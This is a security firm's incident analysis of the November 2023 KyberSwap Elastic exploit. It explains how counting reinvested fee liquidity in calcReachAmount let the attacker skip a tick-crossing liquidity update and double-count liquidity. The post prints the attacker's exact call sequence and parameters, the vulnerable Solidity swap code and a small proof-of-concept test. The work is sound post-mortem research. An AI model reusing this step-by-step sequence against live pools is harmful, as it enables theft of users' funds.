KyberSwap Attack Analysis: Unveiling the Most Sophisticated Cyber Heist in History

Posted by AntChain Open Labs on 2023-11-28

On November 23, 2023, a Twitter user, Spreek, reported that KyberSwap, a DEX aggregator and liquidity platform, was attacked on multiple chains including Ethereum, Polygon, and Binance Smart Chain, etc, (https://twitter.com/spreekaway/status/1727462694138024249), resulting in a loss of approximately $50 million. After the attack, the attacker left a message for KyberSwap, stating his intention to negotiate with the project team after taking a rest. Currently, a notice is visible on the official KyberSwap website alerting users to the attack and advising them to withdraw their funds.

image

The crux of the attack lies in the way KyberSwap calculated the maximum amount that could be exchanged within a specific Tick range during a swap transaction. KyberSwap included the transaction fees generated from the swap into the calculation along with the base liquidity, leading to an incorrect computation of the exchangeable amount. This miscalculation ultimately resulted in the liquidity provided by the attacker being added twice. Below, we will conduct a detailed analysis of the attack path.

Attack analysis

Introduction

KyberSwap is a DEX aggregator and a hub in the DeFi ecosystem, aggregating over 100 liquidity sources from 15 different chains. It splits and reroutes transactions among these sources, providing users with more favorable swap rates and more convenient cross-chain swaps.

image

An example for illustrating tick (https://docs.kyberswap.com/liquidity-solutions/kyberswap-elastic/concepts/tick-range-mechanism)

To enable liquidity providers (LPs) to supply liquidity within custom price ranges, KyberSwap has adopted a method similar to that of Uniswap V3, which divides the potential price space into discrete “Ticks.” LPs can provide liquidity between any two Ticks. During a swap transaction, if the price moves beyond the current Tick’s price range, the current Tick shifts to the next one, and the exchange continues at the new price until the requested exchange amount is met or the price limit set by user is reached. In Kyber’s design, switching Ticks changes the pool’s liquidity, a process Kyber defines as “Cross Ticks.” The attack that KyberSwap suffered was closely related to this “Cross Tick” mechanism.

Additionally, unlike Uniswap V3, Kyber introduced Elastic pools that support reinvestment. These Elastic pools re-add the transaction fees generated by trades back into the pool as liquidity, allowing LPs to earn compound interest on their fees, even when the price moves outside the range of their positions.

To further illustrate the process of Crossing Ticks, let’s consider a simple example. In the scenario depicted in the diagram above, the pool has three positions: Position 1, shown in orange, has a price range of T1-T6; Position 2, in blue, has a price range of T4-T8; and Position 3, in green, has a price range of T5-T10. Let’s assume the current Tick of the pool is T5. As illustrated, the liquidity at T5 is made up of Positions 1, 2, and 3, and the total liquidity at the current price is 500. If there is a large swap transaction that pushes the current price past T5 and into the range of T4, thereby Crossing Ticks, and since T4 exceeds the price range of Position 3, the liquidity of Position 3 will be removed. As a result, the total liquidity of the pool will then change to 400.

Similarly, let’s assume the current Tick (currentTick) is T4, and a reverse swap occurs, causing the pool to Cross Tick from T4 to T5. As this movement enters the price range of Position 3, the pool’s liquidity would increase by 100 due to adding in the liquidity from Position 3. Therefore, the total liquidity of the pool would change from 400 to 500.

In the attack incident, the attacker profited through two exchange transactions. In the first exchange, the attacker swapped WETH for frxETH, moving the price to the right. However, by precisely manipulating the amount exchanged and the price, the attacker skipped the step that would normally deduct liquidity. In the second exchange, the attacker swapped frxETH back to WETH, moving the price to the left. This exchange resulted in an increase in the pool’s liquidity. Effectively, the pool experienced a doubling of its liquidity. Below, we will delve into a detailed analysis of the underlying principles that led to the vulnerability.

Addresses involved in the attack

This attack involved multiple blockchains including Ethereum, Binance Smart Chain (previously referred to as Base), and Polygon, etc. Here, we will focus on analyzing an example of an attack transaction that occurred on the Ethereum blockchain.

Attack transaction:

https://etherscan.io/tx/0x485e08dc2b6a4b3aeadcb89c3d18a37666dc7d9424961a2091d6b3696792f0f3

Attacker address:

0x50275E0B7261559cE1644014d4b78D4AA63BE836

Attack contract:

0xaF2Acf3D4ab78e4c702256D214a3189A874CDC13

KyberSwap contract (Vulnerable contract):

0xfd7b111aa83b9b6f547e617c7601efd997f64703

Detailed analysis – a closer look

Attack preparation

The purpose of the preparation phase for an attack is to provide liquidity in an illiquid Tick range, creating conditions for the attack. The specific steps are as follows:

  1. The attacker borrowed 2000 WETH through a flash loan from Aave V3.

  2. The attacker called the swap function of the vulnerable contract and specified limitSqrtP as 20282409603651670423947251286016 (the price at Tick 110909). During the swap process, the swap will halt when either the quantity of tokens swapped reaches swapQty in the parameters, or when the price reaches limitSqrtP. In this case, the swap terminated due to the price reaching the limit, and the attacker ends up exchanging approximately 6.85 WETH for about 6.37 frxETH. Consequently, the price adjusts to 20282409603651670423947251286016, with the currentTick at 110909.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "swap",
"args": {
"recipient": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"swapQty": "2000000000000000000000",
"isToken0": false,
"limitSqrtP": "20282409603651670423947251286016",
"data": "0x"
},
"return": {
"deltaQty0": "-6371028957698847497",
"deltaQty1": "6849615814404497512"
}
}
  1. The attacker transferred approximately 0.0069 frxETH and 0.11 WETH into the pool, providing liquidity with a value of 89631297100385708499 in the specified Tick range [110909, 111310].
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "mint",
"args": {
"params": [
{
"token0": "0x5e8422345238f34275888049021821e8e08caa1f",
"token1": "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2",
"fee": "10",
"tickLower": "110909",
"tickUpper": "111310",
"ticksPrevious": [
"48",
"48"
],
"amount0Desired": "6948087773336076",
"amount1Desired": "107809615846697233",
"amount0Min": "0",
"amount1Min": "0",
"recipient": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"deadline": "1700693711"
}
]
},
"return": {
"tokenId": "359",
"liquidity": "89631297100385708499",
"amount0": "6948087773336076",
"amount1": "107809615846697233"
}
}
  1. The attacker then removed a portion of the liquidity that was added in step 3.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "removeLiquidity",
"args": {
"params": [
{
"tokenId": "359",
"liquidity": "14938549516730950591",
"amount0Min": "0",
"amount1Min": "0",
"deadline": "1700693711"
}
]
},
"return": {
"amount0": "1158014628889345",
"amount1": "17968269307782871",
"additionalRTokenOwed": "0"
}
}

At this point, the status of the pool was as follows. It is observed that the remaining liquidity of the attacker in the Tick range [110909, 111310] is 74692747583654757908. This figure has been meticulously calculated by the attacker to ensure that during the first swap of the attack phase, the exact amount required for the swap is achieved. Notably, within this Tick range, the liquidity has been solely provided by the attacker.

1
2
3
4
5
6
7
8
9
10
{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "getLiquidityState",
"args": [],
"return": {
"baseL": "74692747583654757908",
"reinvestL": "1851411303269421",
"reinvestLLast": "1851411303269421"
}
}

With these actions, the attacker has now set the stage with prepared liquidity for the upcoming assault on the Tick range [110909, 111310].

Making profit

The attacker carried out the attack through two additional swap transactions. Let’s analyze the key logic of the swap function and the attacker’s exploitation logic:

[The first swap]

For the first swap transaction, the attacker’s call parameters were set with the intention to exchange approximately 387 WETH for frxETH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "swap",
"args": {
"recipient": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"swapQty": "387170294533119999999",
"isToken0": false,
"limitSqrtP": "1461446703485210103287273052203988822378723970341",
"data": "0x"
},
"return": {
"deltaQty0": "-5789927137555359",
"deltaQty1": "387170294533119999999"
}
}
  1. When the swap function reaches line 22, it retrieves the initialization parameters for the exchange, including the pool’s currentTick, nextTick, and the current price. By examining the transaction, we can see that the current price was 20282409603651670423947251286016, corresponding to a currentTick of 110909 and a nextTick of 111310. Upon reaching line 33 of the swap, the price at Tick 111310 was calculated to be 20693058119558072255662180724088. The Tick range primarily involved in this exchange is precisely the range where the attacker provided liquidity during the preparation phase. The reason the exchange can occur within this range is that the attacker, during the preparation phase, deliberately manipulated the price to correspond with the price at Tick 110909.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "_getInitialSwapData",
"args": {
"willUpTick": true
},
"return": {
"baseL": "74692747583654757908",
"reinvestL": "1851411303269421",
"sqrtP": "20282409603651670423947251286016",
"currentTick": "110909",
"nextTick": "111310"
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
function swap(
address recipient,
int256 swapQty,
bool isToken0,
uint160 limitSqrtP,
bytes calldata data
) external override lock returns (int256 deltaQty0, int256 deltaQty1) {
require(swapQty != 0, '0 swapQty');

SwapData memory swapData;
swapData.specifiedAmount = swapQty;
swapData.isToken0 = isToken0;
swapData.isExactInput = swapData.specifiedAmount > 0;
// tick (token1Qty/token0Qty) will increase for swapping from token1 to token0
bool willUpTick = (swapData.isExactInput != isToken0);
(
swapData.baseL,
swapData.reinvestL,
swapData.sqrtP,
swapData.currentTick, // 110,909
swapData.nextTick // 111,310
) = _getInitialSwapData(willUpTick);

// ...
while (swapData.specifiedAmount != 0 && swapData.sqrtP != limitSqrtP) {
// math calculations work with the assumption that the price diff is capped to 5%
// since tick distance is uncapped between currentTick and nextTick
// we use tempNextTick to satisfy our assumption with MAX_TICK_DISTANCE is set to be matched this condition

int24 tempNextTick = swapData.nextTick;

swapData.startSqrtP = swapData.sqrtP;
swapData.nextSqrtP = TickMath.getSqrtRatioAtTick(tempNextTick);

// local scope for targetSqrtP, usedAmount, returnedAmount and deltaL
{
(usedAmount, returnedAmount, deltaL, swapData.sqrtP) = SwapMath.computeSwapStep(
swapData.baseL + swapData.reinvestL,
swapData.sqrtP,
targetSqrtP,
swapFeeUnits,
swapData.specifiedAmount,
swapData.isExactInput,
swapData.isToken0
);

swapData.specifiedAmount -= usedAmount;
swapData.returnedAmount += returnedAmount;
swapData.reinvestL += deltaL.toUint128();
}

// if price has not reached the next sqrt price
if (swapData.sqrtP != swapData.nextSqrtP) {
if (swapData.sqrtP != swapData.startSqrtP) {
// update the current tick data in case the sqrtP has changed
swapData.currentTick = TickMath.getTickAtSqrtRatio(swapData.sqrtP);
}
break;
}

(swapData.baseL, swapData.nextTick) = _updateLiquidityAndCrossTick(
swapData.nextTick,
swapData.baseL,
cache.feeGrowthGlobal,
cache.secondsPerLiquidityGlobal,
willUpTick
);
}

_updatePoolData(
swapData.baseL,
swapData.reinvestL,
swapData.sqrtP,
swapData.currentTick,
swapData.nextTick
);
}
  1. When the swap function reaches line 37, it calls SwapMath.computeSwapStep to update the current exchanged quantity (usedAmount), the number of tokens needed to be sent to the user (returnedAmount), the fee (deltaL), and the exchange price (swapData.sqrtP). Within SwapMath.computeSwapStep, the maximum exchangeable amount within the current Tick range is calculated. Monitoring the transaction reveals that the computed maximum value is 387170294533120000000, which is just one unit higher than the amount the user requested for the exchange. This indicates that the pool deems the liquidity within the Tick range [110909, 111310] sufficient to meet the attacker’s requirements, and there will be no need to cross over to the next Tick at 111310 for the exchange. As a result, swapData.sqrtP is updated to 20693058119558072255665971001964, a price that exceeds the price at Tick 111310 calculated in the first step, which was 20693058119558072255662180724088.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "computeSwapStep",
"args": {
"liquidity": "74694598994958027329",
"currentSqrtP": "20282409603651670423947251286016",
"targetSqrtP": "20693058119558072255662180724088",
"feeInFeeUnits": "10",
"specifiedAmount": "387170294533119999999",
"isExactInput": true,
"isToken0": false
},
"return": {
"usedAmount": "387170294533119999999",
"returnedAmount": "-5789927137555358",
"deltaL": "75619198150999",
"nextSqrtP": "20693058119558072255665971001964"
}
}
  1. Returning to lines 53-56 of the swap function, since the calculated sqrtP from step 2 did not equal nextSqrtP, the if-statement evaluated to true. As a consequence, the wrong price was used to calculate the incorrect currentTick, which turns out to be 111310, whereas the actual currentTick should be 110909 as calculated in the first step. The break statement at line 67 made the while loop exit and the ‘Cross Tick’ operation at line 61 was skipped. This means that even though the pool’s state has effectively ‘crossed a tick,’ the liquidity deduction operation that should have taken place at line 61 is bypassed. The key question here is: Why didn’t the calculated sqrtP match the nextSqrtP (the price at Tick 111310)? The reason for this discrepancy is explored in the ## Vulnerability Analysis ## section.

  2. Continuing execution to line 70 of the swap function, the pool’s state is updated. However, due to the incorrect calculation of the currentTick in step 3, after the state updated, both the pool’s currentTick and nextTick were erroneously set to 111310. This incorrect state will have significant implications during the attacker’s second swap transaction. In this flawed state, when the attacker conducted the reverse swap, the liquidity that should have been removed during the first swap (because of the tick crossing) was not removed. Instead, because the state erroneously reflected that the currentTick and nextTick are the same, the liquidity was effectively added back into the pool when the reverse swap took place. This resulted in a doubling of the liquidity addition.

1
2
3
4
5
6
7
8
9
10
11
12
{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "_updatePoolData",
"args": {
"baseL": "74692747583654757908",
"reinvestL": "1927030501420420",
"sqrtP": "20693058119558072255665971001964",
"currentTick": "111310",
"nextTick": "111310"
},
"return": []
}

[The second swap]

The attacker called the vulnerable contract’s swap function once again, this time with the opposite direction of the previous transaction, exchanging frxETH for WETH. The attacker used approximately 0.0059 frxETH to obtain 396.24 WETH. The parameters inputted by the attacker are as follows, and as mentioned earlier, before this call, both the pool’s currentTick and nextTick were at 111310. The pool’s state has already crossed Tick to 111310 during the previous swap, but liquidity was not deducted.

In this swap, the pool undergoes another cross-tick event, and liquidity was added instead of being deducted, which is equivalent to counting the liquidity twice. The pool believes it has more liquidity than it actually does. This is why, compared to the previous swap, the attacker was able to exchange significantly less frxETH for significantly more WETH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "swap",
"args": {
"recipient": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"swapQty": "-396244493223555299358",
"isToken0": false,
"limitSqrtP": "4295128740",
"data": "0x"
},
"return": {
"deltaQty0": "5868809110205016",
"deltaQty1": "-396244493223555299358"
}
}

image

The liquidity change of the second swap (https://explorer.phalcon.xyz/tx/eth/0x485e08dc2b6a4b3aeadcb89c3d18a37666dc7d9424961a2091d6b3696792f0f3)

Vulnerability Analysis

In this section, we will use the attacker’s trace, combined with contract simulation, to investigate why the first exchange caused an incorrect update of the pool’s state.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
// _getInitialSwapData
{
msg.sender:"0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
func:"_getInitialSwapData",
args:{
willUpTick:true
},
return:{
baseL:"74,692,747,583,654,757,908",
reinvestL:"1,851,411,303,269,421",
sqrtP:"20,282,409,603,651,670,423,947,251,286,016",
currentTick:"110,909",
nextTick:"111,310",
}
}

// computeSwapStep: update usedAmount, returnedAmount, fee(deltaL)and the price(swapData.sqrtP)
{
msg.sender:"0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
func:"computeSwapStep",
args:{
liquidity:"74,694,598,994,958,027,329",
currentSqrtP:"20,282,409,603,651,670,423,947,251,286,016",
targetSqrtP:"20,693,058,119,558,072,255,662,180,724,088",
feeInFeeUnits:"10",
specifiedAmount:"387,170,294,533,119,999,999",
isExactInput:true,
isToken0:false,
},
return:{
usedAmount:"387,170,294,533,119,999,999",
returnedAmount:"-5,789,927,137,555,358",
deltaL:"75,619,198,150,999",
nextSqrtP:"20,693,058,119,558,072,255,665,971,001,964",
}
}

// calcReachAmount
{
msg.sender:"0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
func:"calcReachAmount",
args:{
liquidity:"74,694,598,994,958,027,329",
currentSqrtP:"20,282,409,603,651,670,423,947,251,286,016",
targetSqrtP:"20,693,058,119,558,072,255,662,180,724,088",
feeInFeeUnits:"10",
isExactInput:true,
isToken0:false,
},
return:{
reachAmount:"387,170,294,533,120,000,000"
}
}

// calcFinalPrice
{
msg.sender:"0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
func:"calcFinalPrice",
args:{
absDelta:"387,170,294,533,119,999,999",
liquidity:"74,694,598,994,958,027,329",
deltaL:"75,619,198,150,999",
currentSqrtP:"20,282,409,603,651,670,423,947,251,286,016",
isExactInput:true,
isToken0:false,
},
return:{
out0:"20,693,058,119,558,072,255,665,971,001,964"
}
}

// _updatePoolData
{
msg.sender:"0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
func:"_updatePoolData",
args:{
baseL:"74,692,747,583,654,757,908",
reinvestL:"1,927,030,501,420,420",
sqrtP:"20,693,058,119,558,072,255,665,971,001,964",
currentTick:"111,310",
nextTick:"111,310",
},
return:[
]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function swap(
address recipient,
int256 swapQty,
bool isToken0,
uint160 limitSqrtP,
bytes calldata data
) external override lock returns (int256 deltaQty0, int256 deltaQty1) {
// ...
while (swapData.specifiedAmount != 0 && swapData.sqrtP != limitSqrtP) {
(usedAmount, returnedAmount, deltaL, swapData.sqrtP) = SwapMath.computeSwapStep(
swapData.baseL + swapData.reinvestL,
swapData.sqrtP,
targetSqrtP,
swapFeeUnits,
swapData.specifiedAmount,
swapData.isExactInput,
swapData.isToken0
);
// ...
// if price has not reached the next sqrt price
if (swapData.sqrtP != swapData.nextSqrtP) {
if (swapData.sqrtP != swapData.startSqrtP) {
// update the current tick data in case the sqrtP has changed
swapData.currentTick = TickMath.getTickAtSqrtRatio(swapData.sqrtP);
}
break;
}

The key to skipping the Cross Tick operation lies in the check on line 21 for the equality of swapData.sqrtP and swapData.nextSqrtP. In theory, when the pool crosses a Tick, due to exceeding the price boundary of the current Tick, sqrtP should be updated to the price of the next Tick, and the swapData.sqrtP calculated in line 10 by computeSwapStep should be equal to swapData.nextSqrtP. However, when the swap gets to line 21, the current sqrtP is not equal to nextSqrtP. This leads the pool to conclude that it has not crossed a Tick, causing it to exit the loop with a break statement, thus skipping the subsequent operations to cross the tick and update the pool’s liquidity.

In the actual transaction data of the attacker, the specifiedAmount parameter passed to computeSwapStep was 387,170,294,533,119,999,999. The maximum amount that could be exchanged without crossing the current Tick was calculated by calcReachAmount to be 387,170,294,533,120,000,000 (which is exactly 1 more than the amount the attacker wanted to exchange). However, when calcFinalPrice was eventually called, the price that was actually computed turned out to be 20,693,058,119,558,072,255,665,971,001,964. When we input this price into getTickAtSqrtRatio to calculate its corresponding Tick, we found that it corresponds to Tick 111310, not the current Tick (110909).

This confirms our previous speculation that calcFinalPrice calculated a price that fell within the price range of the next Tick, even when the exchange amount did not exceed the maximum exchangeable amount that would not cause a Cross Tick, as calculated by calcReachAmount.

So, what exactly caused the pool to ultimately cross the tick despite the exchange amount not exceeding the maximum amount calculated by calcReachAmount that would not result in a Cross Tick?

The issue seems to stem from the reinvestment mechanism of the Kyber Elastic pool. If we look at the swap function, specifically at line 22, we notice that the pool’s liquidity is increased by the addition of reinvested liquidity. Could it be that this extra reinvested liquidity is what led to an error in the calcReachAmount computation?

To validate our hypothesis, we wrote a Proof of Concept (PoC) contract to simulate the execution results of both scenarios.

1
2
3
4
5
6
7
8
9
function testCalcReachAmount() external pure returns (int256, int256) {
uint256 baseL = 74692747583654757908;
uint256 reinvastL = 1851411303269421;

int256 usedAmountWithReinvastL = SwapMath.calcReachAmount(baseL + reinvastL, 20282409603651670423947251286016,20693058119558072255662180724088, 10, true, false);
int256 usedAmountNonReinvastL = SwapMath.calcReachAmount(baseL, 20282409603651670423947251286016,20693058119558072255662180724088, 10, true, false);

return (usedAmountWithReinvastL, usedAmountNonReinvastL);
}

We captured the inputs from the attacker and calculated the maximum exchangeable amount that would not trigger a Cross Tick using both the calculation method employed by the Kyber contract and an alternative method that excludes the reinvestment of liquidity. It is apparent that when reinvestment of liquidity is taken into account, the maximum exchangeable amount not causing a Cross Tick is calculated to be 387,170,294,533,120,000,000 (the result from Kyber contract’s calculation). However, when disregarding the reinvestment of liquidity, the maximum exchangeable amount is only 387,160,697,969,657,129,472. The attacker’s exchange amount just exceeded this value.

image

After a calculation error occurred in calcReachAmount, it satisfied the condition in computeSwapStep where usedAmount (387,170,294,533,120,000,000) is greater than specifiedAmount (387,170,294,533,119,999,999). Consequently, the pool assumed that it had not crossed a tick and therefore did not need to update nextSqrtP to targetSqrtP. Instead, the final price was calculated using calcFinalPrice. This explains why the final sqrtP did not match nextSqrtP, resulting in the liquidity update operation being skipped.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
function computeSwapStep(
uint256 liquidity,
uint160 currentSqrtP,
uint160 targetSqrtP,
uint256 feeInFeeUnits,
int256 specifiedAmount,
bool isExactInput,
bool isToken0
)
internal
pure
returns (
int256 usedAmount,
int256 returnedAmount,
uint256 deltaL,
uint160 nextSqrtP
)
{
// in the event currentSqrtP == targetSqrtP because of tick movements, return
// eg. swapped up tick where specified price limit is on an initialised tick
// then swapping down tick will cause next tick to be the same as the current tick
if (currentSqrtP == targetSqrtP) return (0, 0, 0, currentSqrtP);
usedAmount = calcReachAmount(
liquidity,
currentSqrtP,
targetSqrtP,
feeInFeeUnits,
isExactInput,
isToken0
);

if (
(isExactInput && usedAmount > specifiedAmount) ||
(!isExactInput && usedAmount <= specifiedAmount)
) {
usedAmount = specifiedAmount;
} else {
nextSqrtP = targetSqrtP;
}

uint256 absDelta = usedAmount >= 0 ? uint256(usedAmount) : usedAmount.revToUint256();
if (nextSqrtP == 0) {
deltaL = estimateIncrementalLiquidity(
absDelta,
liquidity,
currentSqrtP,
feeInFeeUnits,
isExactInput,
isToken0
);
nextSqrtP = calcFinalPrice(absDelta, liquidity, deltaL, currentSqrtP, isExactInput, isToken0)
.toUint160();
} else {
deltaL = calcIncrementalLiquidity(
absDelta,
liquidity,
currentSqrtP,
nextSqrtP,
isExactInput,
isToken0
);
}
returnedAmount = calcReturnedAmount(
liquidity,
currentSqrtP,
nextSqrtP,
deltaL,
isExactInput,
isToken0
);
}

Continuing to track the attacker’s call trace, we indeed found that, as we suspected, the _updatePoolData function updated the incorrect pool state, setting both the pool’s currentTick and nextTick to 111310.

Funds Flow Track

We used the ZAN KYT tool to track the flow of funds from the attacker’s address: https://zan.top/kyt/controller/transaction/?entity=0x50275e0b7261559ce1644014d4b78d4aa63be836&ecosystem=ethereum.

  1. 0x50275e0b7261559ce1644014d4b78d4aa63be836
    This is the address that the attacker used on Ethereum.

image

According to the KYT (Know Your Transaction) flow chart, the attacker transferred the funds obtained from the attack through the Optimism cross-chain bridge to the Optimism network, and also used the Arbitrum cross-chain bridge to transfer assets to Arbitrum, serving as the initial capital for attack transactions on both chains. Additionally, funds were transferred to other chains such as Scroll and Base. Interestingly, the attacker also received an “invitation” from the perpetrator of the Euler Finance attack.
(Euler Finance Attacker’s address:0x560e7c572a47f6b09856fa0319089a5cde46be3c14c27bed371f1c0f6708b155)

image

image

On the BSC (Binance Smart Chain), the address received 4.2678 BNB from the mixer cross-chain bridge FixedFloat and then made no further operations. On the Polygon network, the address transferred 100 MATIC to 0xc9b826bad20872eb29f9b1d8af4befe8460b50c6, after which there were no additional actions.

On the Arbitrum network, the attacker moved funds to the address 0x98d69d3ea5f7e03098400a5bedfbe49f2b0b88d3 and transferred a total of 300 WETH (Wrapped Ether) back to Ethereum through the Across bridge. Currently, the funds have not moved further.

  1. 0xc9b826bad20872eb29f9b1d8af4befe8460b50c6

This the address that the attacker used on Optimism.

On Optimism,The attacker gathered wstETH、WETH、OP tokens, collateralized 1.685 million USDC in Aave v3 and has not yet taken action with the remaining assets.

image

On the BASE chain, the address kept the profits of 61,051 USDC and 124.22 WETH at the address. The USDC was exchanged for WETH, and no further actions have been taken.

On the Avalanche network, the address has retained 293.08 WAVAX and 17,316.03 USDC, with no further actions at this time.

On the Arbitrum network, the address profited from assets like 826,528 DAI and 13 WBTC, with most of the assets remaining in that address. Of these, 500 WETH was transferred to 0x98d69d3ea5f7e03098400a5bedfbe49f2b0b88d3, and 1,000 WETH was sent to the Indexed Finance attacker’s address (0x84e66f86c28502c0fc8613e1d9cbbed806f7adb4).

Conclusion & Recommendation

With the rise of UniswapV3, an increasing number of projects are beginning to embrace the emerging ‘concentrated liquidity’ market-making algorithm. Concentrated liquidity offers higher capital efficiency and lower trading slippage compared to the previous constant product and constant sum market-making algorithms. However, the complexity of the concentrated liquidity algorithm is significantly greater. Additionally, there are various imitations that claim ‘innovations’ and ‘improvements’ on star projects, with issues often hidden within the code that are incredibly subtle and difficult to detect. We recommend that all projects undergo thorough testing before launching and seek advice and services from professional contract audit experts.

About

AntChain Open Labs

AntChain Open Labs is a research center initiated by AntChain and world leading computer scientists in the area of foundational trust technologies. It is dedicated to building a secure, transparent and reliable Web3 infrastructure driven by innovative research and aiming to advance transformative services.
Website:https://openlabs-intl.antdigital.com/home

ZAN

ZAN, powered by AntChain Open Labs, provides solutions for Web3, such as Smart Contract Review, KYT, KYC, Node Service, and more.
Website:https://zan.top/home